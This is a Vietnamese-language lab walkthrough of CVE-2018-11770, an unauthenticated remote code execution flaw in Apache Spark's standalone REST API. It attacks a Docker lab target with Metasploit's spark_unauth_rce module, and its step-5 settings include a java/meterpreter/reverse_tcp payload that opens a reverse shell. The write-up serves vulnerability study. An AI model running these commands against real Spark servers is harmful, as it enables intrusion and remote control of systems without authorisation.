Contents

CVE-2018-11770

Description

CVE-2018-11770 được phát hiện bởi nhà nghiên cứu Trung Quốc Fengwei Zhang (Alibaba Cloud Security Team), API REST CreateSubmissionRequest có thể bị khai thác khi ở chế độ standalone cho phép hacker gửi mã độc và thực thi mã từ xa. Nguyên nhân xảy ra Từ phiên bản 1.3.0 trở đi, Spark's standalone master cung cấp một REST API để gửi công việc từ xa, bên cạnh việc sử dụng spark-submit. Trong chế độ standalone, thuộc tính cấu hình spark.authenticate.secret thiết lập một khóa bí mật chung để xác thực các yêu cầu gửi công việc thông qua spark-submit. Tuy nhiên, REST API không sử dụng cơ chế xác thực này hoặc bất kỳ cơ chế xác thực nào khác. Trong trường hợp này, bất kỳ người dùng nào cũng sẽ có thể chạy một chương trình trình điều khiển (có thể được viết bằng java, python,…) mà không cần xác thực.

Goal

Khai thác lỗ hổng CVE-2018-11770 sử dụng framework metasploit, sau đó tiến hành RCE.

Exploitation

Bước 1: Khởi chạy máy ảo Docker bằng câu lệnh docker-compose up

https://github.com/g03m0n/pics/assets/130943529/4d6c1b81-b0f6-4206-9af0-9713296ff245

Bước 2: Tiến hành khai thác bằng metasploit framework

https://github.com/g03m0n/pics/assets/130943529/dc830aaf-ba11-4f76-9920-d0d544c9f251

Bước 3: Sử dụng module spark_unauth_rce bằng câu lệnh use exploit/linux/http/spark_unauth_rce.

https://github.com/g03m0n/pics/assets/130943529/d3668af4-25c4-4404-b635-86484eccb0fe

Bước 4: Sử dụng câu lệnh show options để xem các cấu hình:

https://github.com/g03m0n/pics/assets/130943529/466723a4-4a62-489d-827d-4bff38893f98

Bước 5: Tại đây chúng ta sẽ thiết lập IP cho RHOST, LHOST và tìm những payload phù hợp để tấn công vào máy mục tiêu:

set RHOSTS 192.168.1.39 
set RPORT 6066 
set LHOST 192.168.1.39
set LPORT 5555	
set payload java/meterpreter/reverse_tcp                                                       

https://github.com/g03m0n/pics/assets/130943529/d4b0bf3c-d6ac-4704-a869-8bd89b1384a7

Bước 6: Các thiết lập cho việc khai thác máy mục tiêu bằng metasploit đã hoàn thành thực hiện câu lệnh exploit để khai thác.

https://github.com/g03m0n/pics/assets/130943529/8de53e2f-3d7a-44a1-bde2-3b2f273e902e

Bước 7: Khai thác thành công

https://github.com/g03m0n/pics/assets/130943529/9362817b-6c5a-4031-845d-1b8a0c425ccc

Bước 8: Submit-job thành công:

https://github.com/g03m0n/pics/assets/130943529/1232c9a6-8108-4fc1-9c02-2b1831b5007f

https://github.com/g03m0n/pics/assets/130943529/05f55598-8a75-402f-badd-b14e01f71178

Video demo